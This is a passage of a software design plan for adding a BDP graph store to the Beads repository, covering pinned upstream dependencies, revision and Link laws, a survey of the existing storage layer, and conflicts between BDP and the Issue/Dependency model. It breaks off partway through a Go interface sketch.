merge `19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b`. +The spec blob is `79049a703ef957e3eed7cbe56c093356c47b0658`. The vendored +27-definition schema SHA-256 is +`e4c4b7bebd75fe06cd4f7a39c5731c774bf23437dd7d01114819b436b624e4d3`; +Read catalog SHA-256 is +`8867d1eed53f9f37047e11835c0a5a2021d9ff3140f64245cd38735f754d9924`; +46-plan Read matrix SHA-256 is +`4e087ff545b514e9cc0608ffebc8ccd7deeb0a9baa2cdd67c5450a9ea9e0900a`. +The upstream ordered named Read projection is +`b4c13b1d8e78bd556ace7db9c65729f86ea43428c069168bc3aba84bbe073d1a`, +recorded in [`docs/design/evidence/read-cohort/read-v1.json`](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/docs/design/evidence/read-cohort/read-v1.json) +at `targets[].segments[].bindings.schemaReadProjection`. This is the SHA-256 +of canonical JSON/JCS bytes of the ordered `[name, definition]` pairs for the +27 sealed names, not a source-file hash. The pinned +[`projectReadSchemaBundle` recipe](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/packages/conformance/src/schema-read-projection.ts) +defines that order; the [cohort generator](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/scripts/generate-read-cohort.mts#L565-L569) +binds the digest and the [evidence gate](https://github.com/gastownhall/bdp/blob/19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b/scripts/read-cohort-evidence.mjs#L332-L358) +recomputes it. +This is provenance of the adopted upstream Read input, not Go observation evidence. +All six verbatim files and 13 extracted examples have complete byte/blob/range +records in [the dated PROVENANCE snapshot on the published P0 branch](https://github.com/gastownhall/beads/blob/a4b0ff638b4a5cebbe1b2d504897ae1449bd308f/internal/httpapi/bdpwire/schema/PROVENANCE). + +Local source adoption is recorded by `4ab80d75f3a11a9c53c5404251899eb1d4d29170`; +`fdfb2738d58e107b714013a4c5a6eb4b19461c52` corrects Go/ECMAScript line-terminator +parity without changing those vendored bytes. The tests on the dated Beads base and seven +executed Dolt spikes are recorded in +[the dated P0 verification snapshot on that published source](https://github.com/gastownhall/beads/blob/a4b0ff638b4a5cebbe1b2d504897ae1449bd308f/engdocs/BDP_P0_VERIFICATION_ROWS.md#current-main-read-contract-refresh--2026-09-10). +The P0 tree's own verification copy supersedes that snapshot's Files/Rerun guidance. +The initial refresh passed 95 top-level / 192 including subtests, zero skips. +That adoption updated the vendored inputs and DTO parity together, replaced +the old wildcard-rejection tripwire with adoption checks, and ported #27's +narrow `resource-erased` pointer prohibition while preserving harmless +RFC 9457 extensions, as recorded in the dated verification snapshot. +These are contract and spike checks. Hosted review/readiness, P1 mechanisms, +P2 HTTP serving and P3 write-profile adoption remain separate gates. These +dated results do not establish current hosted review or merge readiness. + +Model laws this plan builds to (the baseline pin plus the dated #19/#20 +Mutation results correction, pinned in §0a): + +- A Link is first-class; its `id`, `type`, `source`, `target`, and pin are + immutable; repoint/re-pin is delete-and-create. +- **Owned Links:** a Bead Type may own outgoing Link Types; each owned Link — + target, pin, and properties — is part of the source Bead's versioned state; + every mutation of an owned Link (create, delete, property update) versions + the source. The record read serves an `ownedLinks` member: complete Link + records, keyed by owned Link Type URL, ascending code-unit id order. + Unowned incident Links are a view and version nothing. +- Revisions are opaque and equality-only. **Each surviving Resource whose + state actually changes receives a fresh opaque revision; a semantic no-op + (RFC 6902 §4.6 value comparison) changes none; and A→B→A is three + distinct revisions — a reverse transition never reuses one.** Deletion + mints nothing for the deleted Resource — its result reports the deleted + identity **including its final live revision**, in the shared + `deletedIdentity` schema, carried as the result's `deleted` member + (`{ resourceKind, resource: { id, type, revision } }`; #19 Mutation results + in §0a, shared with #20); an owned-Link deletion result + additionally reports the owning source's fresh revision. +- References: the URI is identity; a pin is provenance, echoed byte-identical, + equality-only, never validated in v0. In-Scope and external references have + different canonicalization duties — the Go model captures them as a sum, + not a naked pair. +- Authorization views are closed projections, closed over owned Links. +- The Read problem table is closed vocabulary (including `resource-pruned` + and `resource-erased` — merged in gastownhall/bdp#16). + +## 0a. Current BDP and versioned-beads alignment (2026-09-09) + +This dated alignment updates the historical survey and P3 dependencies without +changing the ruled v0 scope: **graph Beads/Links only; no Issue projection**. +The original §0 Read pin above this historical alignment was superseded by +the dated P0 adoption record above. Neither pin is a claim that it +contains subsequent rulings. Donna's 2026-09-09 continuation authorizes +materialization on the condition that this design and P0 track both evolving +BDP and Jim's versioned-beads work, as recorded in the [operator continuation](https://github.com/donnabox/agent-coordination/blob/4fd57836ae052dec41b66493b88954bdabbb4d0f/context/janet/beads-workstream-state.md). The following are read/verified source +pins; the continuation and History ACK below are operator records, not +implementation pins. These dependency records do not authorize implementation +against moving drafts or treat draft PRs as merged dependencies. Before P3 +begins, its owner records a reviewed pin for the selected write profile in §0: +spec, bundle, problem rows, catalog, illustrative fixtures and executable matrix +(or its explicit pending status). The claim-specific evidence exit remains +required; a source pin alone cannot discharge it. + +The following tables preserve the **2026-09-09 and 2026-09-10 source snapshots**. +The 2026-09-12 refresh below supersedes their dependency statuses. + +| Source | Exact pin | State / graph consequence | +| --- | --- | --- | +| BDP #19 Read+Update | `06ebabdb391d8ea730295f4e01ed00bc1206fe38` | Draft; singleton/sequence envelopes, durable admission/outcomes, aliases and shared deleted identity now exist; P3 must adopt their reviewed selected-profile successor under the explicit write pin. | +| BDP #20 Transactional | `5c3f3b10a2edbb77d914b7260cdf035008fc34c7` | Draft; T1–T65 ruled, including unresolved admission, bounded direct comparison and same-epoch retraction retry without deadline reset; T57 implementation/evidence work remains. | +| BDP #22 wildcard / #23 numeric | `c201cc28f74c6f71212aaf7f25966aabf55fb97e` / `2c537a6f8a4f42e4fef0fa5d47439bcb25d2efe7` | Draft sources for the domain rules already incorporated ahead of P0's old wire pin; reviewed wire integration remains required. | +| BDP #24 named Read projection / #27 Read erasure correction | `87de37f673f83ec54989fdff4891bacc05730ea6` / `d68cc698f63cc114a41d7d965a8b6bebbfda8b3c` | Draft; preserve named-projection/coverage law and genuine successor evidence; port the narrow erased-pointer rejection to the Go wire boundary. | +| Jim #6147 Phase 0 | `9c4e7a8f1959582f07db3b87641cb33863fda860` | Open; contract hooks remain nil/skipped, not a working CAS/History implementation. | +| Jim #6304 Phase 1 | merge `2bb1e20de0f0072d7600656ea3cb7f606929dcc6` | Merged 2026-09-08; migration 0067 includes issue/wisp shape parity, ignored-series twin and raw-SQL replay / CLI override. | +| Jim #6358 Phase 2 | `5fdfb92fe544c9a83feb098e83f2ccdd87b896c8` | Open; current writer/inventory, superseding older incomplete call-site reports; 0068 reserves attribution and byte-preserving storage, not the deferred durable-address migration. | + + + +### Historical dependency refresh (2026-09-10) + +That docs-only successor incorporated Beads main +`a690b0a8c4d1ddc4f0bd9bf767499625dd71bc96`. It preserves both dependencies: +**BDP #19/#20 and Jim's versioned-beads work**. The source/check observations +below describe that date, not current readiness. + +| Source | Exact current source | State and phase consequence | +| --- | --- | --- | +| BDP Read foundation #29 | merge `19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b`, source head `599361130bfaa07c2b5d157f3ecbe44f0691cb9e` | Merged 2026-09-10. Adopted by the P0 successor in the dated §0 record above, including bundle/projection/matrix pins and current-base checks. Wildcard, numeric, named-projection and erased-pointer corrections from #22/#23/#24/#27 are incorporated ancestries. The earlier design-only refresh did not perform this adoption. | +| BDP #19 Read+Update | merge `6d88f857cb643fe4e5d77e1dc45038a7d2e5ebb5`, source head `a2531e43baa5c6b27f22149b214326d8736e6198` | Merged 2026-09-10 wire/spec, without RU runtime. A P3 RU realization adopts a reviewed selected-profile pin and its own evidence; it need not wait for TX-only runtime. | +| BDP #20 Transactional | published PR head `5c3f3b10a2edbb77d914b7260cdf035008fc34c7`; reviewed local correction `0166ff8ef57c481f9ee8fb1223f728f12f9c75f4` (unpushed; no fetchable source pin) | Open draft at the published head. The local correction contains the reviewed G1–G5 HTTP clarification; it is not the remote PR head or a merged dependency. Shared Read HTTP implementation and fresh observations remain a gate before #20 lands. | +| Jim #6147 Phase 0 | `9c4e7a8f1959582f07db3b87641cb33863fda860` | Open; snapshot shows 117 successful, two skipped and two failed checks (PR Core and CI Gate / Required). Nil-hook contract scaffolding is not graph CAS or History realization; these failures are not automatically P0 blockers. | +| Jim #6304 Phase 1 | source `162a47703bb702d43e3192c79b6b802cf650d31d`, merge `2bb1e20de0f0072d7600656ea3cb7f606929dcc6` | Merged 2026-09-08, including 0067. Its historical head had 119 successful and one skipped checks. | +| Jim #6358 Phase 2 | `5fdfb92fe544c9a83feb098e83f2ccdd87b896c8` | Open; snapshot shows 121 successful and two skipped checks, with both CI Gate / Required checks successful. This is its own check evidence, not graph conformance. Migration 0068 remains reserved; graph P1 rechecks its actual slot. | + +### Current dependency refresh (2026-09-12) + +The Beads base remains `a690b0a8c4d1ddc4f0bd9bf767499625dd71bc96`. +The following source updates change dependency status, not the adopted P0 +Read contract or its historical verification results: + +| Source | Exact current source | State and phase consequence | +| --- | --- | --- | +| BDP #20 Transactional | merge `741829b6423ed70fd23676576459ad9f6215d027` | Merged wire/spec, including the shared G1–G5 HTTP clarification. The earlier local `0166ff8e` correction is historical. This is not TX runtime or a Beads profile adoption. | +| BDP #30 History | merge `1fe8cf32afabd02ca62d86548409f82dd756e357` | The selected History wire/spec materialization is merged. Server/client/adapter realization, provider mapping and capability advertisement remain separate work. | +| BDP Read runtime through #40 | main `eac6017541895bb4cb1399e1a8056bb7375b185c` | [Dated BDP status and evidence boundaries](https://github.com/gastownhall/bdp/blob/eac6017541895bb4cb1399e1a8056bb7375b185c/STATUS.md) record subsequent shared Read work and its named-target qualifications. Those observations are not Beads evidence and do not re-pin this P0 to the later bundle or matrix. | +| Jim #6147 / #6358 | `9c4e7a8f1959582f07db3b87641cb33863fda860` / `5fdfb92fe544c9a83feb098e83f2ccdd87b896c8` | Both remain open. #6304 and migration 0067 are merged; Phase 2 claims 0068. Their checks do not establish graph conformance. | +| Advisory registry #6149 | `71b82aa02abd1284ce3b7b6bffc5952b6d66a4f8` | Still open, not a slot allocator. Its [current rows](https://github.com/gastownhall/beads/blob/71b82aa02abd1284ce3b7b6bffc5952b6d66a4f8/CLAIMED.md) propose Phase 3 at 0069–0070 and graph at 0071 if Donna agrees, while the graph row still says 0069+. This overlap is unresolved; P1 must recheck the actual slot after its ADR and owner coordination. No number is selected here. | + +The adopted P0 Read input is the explicit #29 merge, with the complete §0 +adoption pins, source/fixture provenance and current Go boundary checks recorded +above. The original pin and results remain historical. P0 proves contracts; P2 must prove live Go Read +serving, current-view/owned closure, HTTP behavior and stable cross-request +cursors. The preserved #29 cohort does not prove the later G1–G5 prose. +P1 retains its storage/replication ADR gate; P3 retains its selected write-profile +ADR and evidence gate. Neither full TX runtime nor Jim's remaining phases are +blanket prerequisites for P0. + +Current main already corrects the +old `docs/recovery/init-safety.md` freshness date; the earlier failed check was +a historical branch-base result, not a standing current-main failure. + +**BDP ownership and phase boundaries** (citations below preserve the historical +draft pins; the P3 adoption re-verifies owning text at its selected write pin). [#19 Mutation results](https://github.com/gastownhall/bdp/blob/06ebabdb391d8ea730295f4e01ed00bc1206fe38/docs/specs/bdp.md#L2814-L2843) +requires the deleted Resource's final live revision in the `deletedIdentity` +schema carried as `result.deleted`; no version is minted by deletion. The +owned-Link result's `source` is the source Bead's absolute canonical URL and +`sourceRevision` is that Bead's resulting revision on create, update and delete. [#20 admission/comparison](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/docs/specs/bdp.md#L1225-L1308) +requires a durable execution owner and immutable creator-attempt binding separate from +the graph authority lease. Direct unresolved comparisons wait outside the DB +transaction under one finite budget; sequence precedence remains nonwaiting. +The graph lease and allocation ledger do not implement receipts, exactly-once +admission or the TX projected erasure ledger. P3 owns that realization, and +Read+Update does not wait for TX-only implementation. Before P3 implementation, +its ADR audits the selected profile's storage and interface needs against P1: +migration additions, state-version coverage, fence triggers, replication +inspection and fence/decorator censuses, plus any declared source break and +CHANGELOG migration under A8. The initial eight-table P1 scope is not a promise +that every future profile fits it. This audit mandates neither new tables nor +another interface widening; shipped migrations stay frozen and any necessary +addition follows migration discipline. P1 need not wait for the full P3 design. [T65](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/docs/specs/bdp.md#L5532-L5542) +scopes persistent Event-consumer erasure claims to the existing changefeed/ +snapshot-ledger integration; Event delivery alone is not that assurance. +The same continuation also ACKed manifest-handle retrieval, same-epoch receipt- +page URL restart survival, body-less 406 negotiation refusal and the initial +receipt/finite-feed validator policy. At the historical #20 pin these five HTTP +choices were pending materialization. The merged #20 source and subsequent +BDP shared Read work are recorded in the 2026-09-12 refresh above. The graph +wire/serving phases must deliberately adopt the applicable reviewed contracts +and prove them at the Beads boundary, including shared Read consequences. + +**Jim's current contribution and limits.** The [current writer](https://github.com/gastownhall/beads/blob/5fdfb92fe544c9a83feb098e83f2ccdd87b896c8/internal/storage/issueops/version_history.go#L24-L65) +records dependency changes and final outgoing dependency state. The [current +inventory](https://github.com/gastownhall/beads/blob/5fdfb92fe544c9a83feb098e83f2ccdd87b896c8/VERSIONED-BEADS-WRITE-PATHS.md#L9-L49) +distinguishes 27 seam call sites, 46 must-mint entry points and 21 versioned +paths out of 34 listed live paths; these counts are not interchangeable. +Remaining limits include unchanged re-import minting, UOW's per-repository-write +`1+N+M` versions versus the direct-leg composite operation, and stranded +delete/rename/demote history. `current_revision` is a store-local ordinal; +`version_id` and participation migration steps are not implemented at this pin. +The allocator is single-writer **at a time**, even within one store. None of +these facts licenses substituting the Issue writer for graph operation-local +revision, identity, ownership or transaction guarantees. Future C-lane work +should build on this contributor work while proving its translation, rather +than citing the old uninstrumented-writer survey as current evidence. + +**Translation constraints.** On the normal Dolt write path, its JSON column +rounds metadata numbers before a version row is minted; the content token +describes the stored state. Jim's [correction](https://github.com/gastownhall/beads/pull/6422#issuecomment-5620982279) +withdraws the stronger normal-path history-collapse claim; a divergence is +reachable only off that path. Their admission follow-up after #6358 and the +cross-PR canonicalizer policy remain separate contributor-owned work. Jim's +writer preserves the resulting JCS bytes in LONGBLOB. The [BDP numeric rule](https://github.com/gastownhall/bdp/blob/2c537a6f8a4f42e4fef0fa5d47439bcb25d2efe7/docs/specs/bdp.md#L644-L661) +refuses inadmissible values before BDP mutation acceptance. An Issue-to-BDP +mapping must be established before allocating its BDP revision; it cannot +round or rewrite already-addressed BDP state. Random graph revisions, local +Issue ordinals, future durable UUID addresses, content tokens and TX erasure +digests remain distinct. Jim's empty actor plus `unknown` is not a valid +present BDP attribution with an empty principal: preserve truthful absence +or explicitly mapped nonempty attribution. Its current NULL agent/message +columns and writer timestamp do not implement BDP's new context contract. +Its [Phase 0 vocabulary](https://github.com/gastownhall/beads/blob/9c4e7a8f1959582f07db3b87641cb33863fda860/backend/conformance/expected_revision_contract.go#L26-L83) +has nil hooks and treats Unretained/disclosure as a later axis; BDP separates +incomplete reconstruction from authorization. Local Hold contracts are not +BDP wire holds, and product test shapes are not BDP conformance observations. + +**History direction selected; wire materialization merged, realization pending.** Donna +ACKed the earlier sixteen core choices and the final twenty-two initial-History +choices on 2026-09-09; the [durable ACK and consolidated choices](https://github.com/donnabox/agent-coordination/blob/4fd57836ae052dec41b66493b88954bdabbb4d0f/context/janet/history-tx-complete-ballot-20260909.md) +record the selected alternatives. This is a dependency record for the approved 38-unit +direction, not a competing normative definition. The historical pins did not +contain its resulting schemas; #30 now supplies the merged materialization +at the source in the current refresh. This realization must adopt and prove +that contract separately. The following preserves the selected direction: + +- Complete optional History on all three profiles, canonical Bead/Link + revision resolution and stable `view=versions` enumeration; retained + addresses survive restore, while other token fences remain. Enumerate + all retained versions, newest authority-order first, distinguishing + replacement lineage and incomplete bodies; omit erased and unauthorized + metadata rows. Authorized deleted-subject enumeration remains available. +- Subject-history-gated diagnoses, bounded missing-state diagnostics with + explicit completeness, no refusal windows, aggregate participation claims, + advance retention guarantees, sync hints or wire holds initially. + Participation requires positive knowledge; absence does not prove pruning. + Whole historical success requires current disclosure permission for its + owned state, with no partial record. Unauthorized subject-history callers + receive uniform `resource-not-found` / 404. Preserve known truthful direct + predecessor/successor relations on retained replaced records; an authorized + `latest-version` may name the current authority version. Do not invent + adjacency between replaced and current lineages. +- Immutable change context now: authority-observed **commit time**, one + instant per atomic transaction and separate instants for committed sequence + members; optional per-operation assisting agent/message copied to every + version that operation mints. Context accompanies version records, retained + rows and matching version-bearing Events under their authorization and + erasure rules. No-op comparison excludes context; legacy absence stays + truthful. This applies to versions minted under History capability, not a + retroactive requirement on unrelated non-History implementations. +- Initial local-store erasure assurance does not advertise generic persistent + consumer replication. Imported retained copies require positively + established erasure status; unestablishable copies are rejected/discarded. + Required Gone evidence and applicable permanent erasure ledgers survive + recovery. Generic pre-removal administration and extra import metadata are + deferred, as are exact-byte witnesses, extra scheme mapping and the + alternative surviving-citation deletion lifecycle. +- `revision-unrepresentable` is selected for positively established inability + to serve an existing bound BDP value faithfully, distinct from missing + pieces, unknown provenance and temporary I/O. `revision-allocation-unsafe` + is the selected write-only persistent repair-required conflict; transient + safety-inspection failure retains its existing temporary-failure behavior. + Their profile/schema fan-out is in the merged #30 materialization recorded + at `1fe8cf32` in the dated §0a dependency table; adoption and runtime proof + remain separate. + Historical resolution never makes an old token a current write guard: the + existing `expectedRevision` equality/current-state law still applies. + +**P0 completion gate.** Preserve the historical pin/provenance and review +records. The §0 adoption at `19923f5b` satisfied the selected Read pin, +coordinated vendored-input/DTO parity, wildcard-tripwire replacement and +narrow erased-pointer exits. Subsequent repins must again update the +bundle/examples/fixtures/matrix/DTO parity together, preserve the narrow +`resource-erased` prohibition and harmless RFC 9457 extensions, and honor +#24's named Read projection and actual successor provenance. Do not relabel +old evidence or blindly vendor the whole TX bundle. Hosted review and +landing remain separate, as do P1 mechanisms, P2 serving proof and P3 +selected-profile adoption under §7. A contracts-only P0 can precede full P3 +and Jim Phase 3. No graph capability, readiness or merge grant follows from +this alignment text or from Jim's versioning flag. + +## 1. Goal and constraints + +Implement BDP in this repo: a first-class graph store the +protocol (and eventually the CLI) is implemented in terms of, beside — not +instead of — the existing Issue/Dependency machinery. + +Hard constraints, in priority order: + +1. **Zero compatibility degradation, defined precisely (amended 2026-09-07, + A8 option A):** *same-version* legacy behavior is byte-identical — every + existing CLI verb, JSONL interchange shape, journal record, and sync path + behaves exactly as before on the same binary, with gate (non-TTY) output + byte-identical. Out-of-tree `backend/` implementations take the **source + break the storage interface already declares** (six one-line + `ErrUnsupported` stubs for the `BeadGraph*` accessors, called out in + CHANGELOG with the stub migration, the joint ReadyClaimer/BatchCloser + entry being the precedent); once stubbed they behave exactly as before. Schema + migrations keep their existing version discipline (an upgraded database + is "ahead" of an older binary, which refuses to open it — that is the + *current* contract, and this plan does not promise more than the repo + already does). Mixed-version rollout beyond that is out of scope unless + ruled otherwise. +2. **BDP fidelity** at the pin, provable by the pinned matrix under its + packaged/public-boundary and self-certified/in-process provenance + split. +3. **One seam per axis.** Two different seams exist and must not be + conflated: an outer **authority seam** (which workspace/store, which + authorization view, which read snapshot — `ScopeResolver`) selects + exactly one scope; the **representation seam** (graph store vs projected — + `unionscope`) is C-lane future work now that the v0 projection is + withdrawn (§5) — in v0 the resolver fronts the graph store directly. + Call sites see `graphops` interfaces; composites are the only + switches. + +## 2. What exists (survey — corrected after adversarial verification) + +- **Storage contract:** `internal/storage/storage.go` defines `Storage` as + **28 role accessors** (IssueLifecycle, IssueReader, IssueClaimer, + ReadyClaimer, BatchCloser, BatchCreator, DependencyEditor, Commenter, + Counter, Memories, …), each returning a role interface. Implementations: + `*dolt.DoltStore` under decorator chains (`hook_*.go`, telemetry) plus a + distinct **UOW/provider** chain. Documented policy: adding a required + `Storage` method breaks out-of-tree implementers. +- **Optional-capability idiom — with teeth:** bare type assertions on a + decorated store are a KNOWN BUG CLASS here: decorators embed an interface, + so methods outside it are not promoted; the repo requires `UnwrapStore` + peeling before optional assertions (`hook_decorator.go:160`) and carries a + regression test for exactly the silent-skip failure + (`cmd/bd/vc_recompute_test.go`). `bd serve` assembles a deliberately + narrow role source (drops hooks, keeps telemetry) — full unwrapping there + would change semantics. +- **Backends actually in tree:** server Dolt, embedded Dolt, and the + UOW/proxied path. **SQLite is gone** (`cmd/bd/backend_support.go`); + `backend/conformance` exists but `RunAll` openly does not exercise version + control, sync, or federation families. `backend/` has a completeness guard + requiring public aliases for every internal type reachable through the + contract. +- **Read paths are not snapshots, and not even read-only:** role reads open + a transaction per call (`dolt/store.go withReadTx`); issue paging is + offset-oriented and finalized above storage; and "ready" reads run an + advisory WRITE (waking expired defers) on server, embedded, and UOW paths; + even `OpenForReadOnlyCommand` returns a writable store. +- **Data model:** `Issue` (`internal/types/types.go:17–190`) is very wide + (well over 40 exported fields), `Metadata json.RawMessage` as extension + point, `RowVersion int64` equality-only with documented partial coverage. + `Dependency`: surrogate `ID` populated only by some read paths, endpoints, + `Type`, `Metadata` as **string**, `ThreadID`, **no revision**; + `depid.New(issueID, target)` keys on endpoints only — no type — so at most + one edge per (source, target) pair, and delete/recreate would reuse the + projected URL. +- **v0 REST precedent is narrow:** detail is the only **read** + representation carrying `revision` (`GET /v0/beads/issues/{id}`); + list/JSONL explicitly forbid it, while guarded **mutation** responses + (update, close) also return their resulting revision. The + HTTP layer maps ordinary typed errors to generated Problem DTOs centrally + (`internal/httpapi/problem.go`) — the house pattern this plan follows. +- **Auth today:** bearer tokens grant the whole surface and carry no user + identity or scopes (`internal/httpapi/auth.go`); routes run one + table-driven middleware path (auth, project identity, deadlines, + concurrency). Any BDP serving must preserve those semantics regardless of + listener choice. +- **Wisps:** same `Issue` struct routed to a second table by storage-class + flags; detail assembly carries `isWisp` explicitly and resolves + issue-then-wisp; the two tables share one logical ID space enforced by + transactional sibling checks (`cross_table_id_collision_test.go`). Wisps + are **private/transient: excluded from export and federation by default** — + so they are a policy decision for BDP serving, not a free rider. +- **The type shoehorn precedent:** `IssueType` is an open vocabulary + (decision, message, molecule, gate, event, plus `types.custom`); + `issue_type NOT IN` filters exist. Non-task semantics on the Issue chassis + is proven practice. +- **Memories:** `memoryops` is a separate key/value plane with its own role. + **Operator ruling 2026-09-01 (external to this tree): the memory system is + legacy** — successor is Memory-typed Beads on this graph; no new + investment. Note `Memories()` remains wired in `bd serve` today; retiring + it is future work outside this plan. +- **Charter tension, named honestly:** `engdocs/PROJECT_CHARTER.md` frames + beads as a focused issue tracker and prefers metadata over new schema for + extension concepts. A general graph store is a product-scope expansion. + **P-1 decision #1 is an explicit charter ADR** — this plan does not + proceed on implication. +- (Correction from v1: `internal/storage/domain` is UOW-specific machinery + over `types.Issue` and `.beads`-directory concerns, not a generic domain + landing zone. The graph package lands as its own leaf package.) + Two consequences, stated so "no new investment" is not misread: Memory-typed + Beads' change feed lands on the **graph plane** (ruling 8's changefeed, P3), + not on the journal; and the legacy `bd remember` / `bd recall` / + `bd memories` / `bd forget` surfaces survive as **projections over + `graphops` after P3**, which is the compatibility projection #5877 R24/R25 + describe. + +## 2b. Where BDP and the Issue/Dependency stack disagree + +The conflict inventory, consolidated. Each row is a law of the pinned BDP +spec set against behavior verified in the original survey; dated §0a +qualifications identify later contributor progress, not a retraction of the +historical observations; the last column says what the +conflict costs. This section is why the v0 projection was withdrawn (§5) +and is the requirements list for any C-lane path. + +| Area | BDP law (pinned) | Current Issue/Dependency stack | Consequence | +| --- | --- | --- | --- | +| Revision coverage | Every record read serves an opaque, equality-only revision; every state-changing operation on a surviving Resource mints a fresh one; a semantic no-op mints none | `RowVersion` has documented partial coverage (direct-UPDATE text paths bypass it); label writes touch only the labels table; revision is served on the detail read and mutation responses only — list/JSONL forbid it | No existing token can stand in for a BDP revision | +| Reverse transitions | A→B→A is three distinct revisions | `updated_at` is second-precision `DATETIME` with documented same-second ties; `bd import --allow-stale` restores old rows including timestamps | State-derived revisions are impossible (r5 blocker) | +| Out-of-band writes | (Implementation constraint, not spec text: BDP's revision/identity laws presuppose the authority observes every mutation) | `bd sql` permits arbitrary direct SQL; compaction rewrites text in place; backup/restore resurrects historical state | No complete mutation feed exists; only funnel (C1/C3) or storage-level observation (C2) can close it; for the graph tables, ruling 13's row-level fence plus the state-change validator | +| Identity non-reuse | Committed Resource URLs are never reassigned — surviving deletion and epoch changes | Same-ID delete/recreate is permitted; import UPSERTs over existing IDs and accepts caller-supplied historical `created_at`; rename (delete+create) can A→B→A-reactivate an ID | Legacy IDs cannot be BDP URLs without a durable allocation/tombstone mechanism the stack lacks | +| Attribution (bdp#18, merged 2026-09-07) | A carried per-version `attribution {principal, status ∈ claimed\|unknown}` — data, not evidence; supplied by every version-minting operation; outside `properties`; excluded from the no-op comparison | Issues carry `created_by` and per-field audit rows; no per-version carrier; bd's later versions cannot name their author | The bd realization maps `created_by` to a claimed principal with status `unknown` for later versions; the graph store carries the member natively (spec B4 attribution columns) | +| ID grammar | Creation-time canonical IDs, multi-segment supported, reject-don't-trim | Configurable prefix grammar + adaptive-length collision-probability IDs; validation checks prefix shape, not BDP path grammar | Eligibility/surrogate policy required before any legacy ID is served (C lane) | +| Type system | One immutable nominal declared Type per Resource; descriptors with `conformsTo`; a Type describes beads or links, never both | `issue_type` is an ordinarily mutable column; open string vocabulary via `types.custom`; no descriptors, no hierarchy | Type immutability is violated by ordinary updates (r5); descriptor catalog must be built | +| Edge multiplicity | Links are first-class; no uniqueness constraint on (type, source, target) | `depid.New(issueID, target)` — at most ONE edge per (source, target) pair, type excluded from the key | Dependencies structurally cannot represent BDP Links (S2 killer #1) | +| Edge versioning | Every Link carries its own revision; owned-Link mutations version the source | Historical survey: Dependencies carry no revision; dependency edits never touch the source Issue's `row_lock`; `Metadata` is a `string`, surrogate `ID` populated only on some read paths. Current-source qualification (2026-09-09, §0a): Jim versions the source through `current_revision` / `issue_versions`, a different witness from `row_lock`, including its outgoing dependency state | Dependencies still lack independent BDP revisions and endpoint-key multiplicity; source witnessing has progressed, but does not establish the BDP owned-Link contract | +| Snapshot reads | Collection cursors continue ONE logical projected snapshot across requests, bound to an authorization view | Per-call read transactions (`withReadTx`); offset pagination finalized above storage; "read-only" paths write (defer-wake); `OpenForReadOnlyCommand` returns a writable store | BDP Read semantics need a new snapshot port; existing role readers cannot serve it | +| Authorization | Per-request Authorization View — a closed projection, closed over owned Links; uniform 404 nondisclosure | Bearer token grants the whole surface; no identity, no scopes, no view concept | View mapping is a P-1 design, not a translation | +| Deletion lifecycle (Read profile) | Logical identity non-reuse survives deletion; `resource-pruned`/`resource-erased` disclosure vocabulary on reads | Deletion frees the ID for reuse; no disclosure vocabulary | The gone-family Read contract must be built in the graph store | +| Deletion lifecycle (Transactional) | Deletion results report deleted identity; tombstones and erasure records propagate on the changefeed | No tombstones; no erasure machinery | Transactional-profile obligations; arrive with P3 writes | +| Changefeed (Transactional profile) | Change Groups at Scope positions, projection advances, erasure records, no-Event erasures | The journal has a frozen vocabulary limited to Issue/Dependency/Comment payloads, emitted structurally inside issue mutations | Frozen journal stays untouched; the graph gets its own changefeed (§4 matrix) | +| Content model | One authored JSON properties OBJECT per Resource, schema-validated per Type | Typed columns (status enums, priority int, timestamps) plus a `Metadata` blob | The column→properties mapping is a design artifact (the C lane inherits §5's table) | +| Multi-writer history (Transactional/history contract) | One serialized serving authority per Scope; independently writable replicas and multi-authority merge of one Scope history are excluded | Independently writable Dolt clones merging later is a normal workflow | Decision 9: authority rule; foreign-clone graph merges out-of-contract | + +## 3. Thrust 1 — the abstract data model (Go) + +**What Go gives us:** structurally-satisfied interfaces — Java-interface +shape, Rust-trait spirit (implicit satisfaction, declared where consumed), +capability discovery by type assertion, composition by embedding. The repo's +role-accessor style is already exactly this idiom; `graphops` speaks it. + +Two layers, strictly separated (review Blocker 1/High 6): + +- **Wire DTOs are generated from the pinned BDP schema bundle** — the + protocol layer serializes those, and only the BDP handler maps domain + errors to generated Problem records. +- **Domain values are immutable and JSON-faithful:** + +```go +package graph + +// Properties is an immutable authored JSON OBJECT value (BDP properties +// are objects, not arbitrary documents): backed by copied raw bytes; +// rejects duplicate keys; preserves numbers (no float64 laundering); +// deterministic encoding; and provides the RFC 6902 §4.6 semantic-equality +// check that gates revision minting (a no-op write MUST NOT mint). +type Properties struct{ /* unexported: raw []byte + parsed index */ } + +// Ref is a sum, not a naked pair: an in-Scope reference (canonicalized at +// admission, resolvable locally) or an external one (opaque, preserved +// byte-identically). Both may carry an equality-only pin. +type Ref struct{ /* unexported discriminant; constructors enforce */ } + +type Revision string // opaque, equality-only + +type Bead struct { /* unexported fields; accessors */ } +// ID, Type (immutable), Revision, Properties. +// NOTE: ownedLinks is not physically duplicated inside the immutable +// authored Bead value — but it IS semantically covered Bead state. The +// port assembles it from the Links themselves, in the same snapshot, and +// EVERY record projection — singleton, collection item, selection item — +// returns a BeadRecord carrying the complete ownedLinks expansion, one +// entry per declared owned type, empty entries included. (Coverage — +// owned-Link mutations versioning the source — is a storage-transaction +// law, not a struct field.) + +type Link struct { /* unexported; ID, Type, Revision, Source, Target Ref, Properties */ } + +type TypeDescriptor struct { /* ID, Name, Describes, ConformsTo, PropertiesSchema, OwnsOutgoing{Label,Max}, endpoint constraints */ } +``` + +Laws in the package, tested once: canonical-ID grammar (reject-don't-trim), +canonical-URI ordering, owned-Link trigger law (as invariant checks the +storage transactions call), semantic no-op equality. BDP problem-code +constants live in the generated protocol layer, NOT here — the domain stays +transport-neutral and speaks typed Go errors. + +```go +package graphops + +// Scope answers Reads within ONE resolved (workspace, authorization view, +// read snapshot). Errors are ordinary typed Go errors — transport-neutral; +// the BDP handler maps them to Problems. +type Scope interface { + 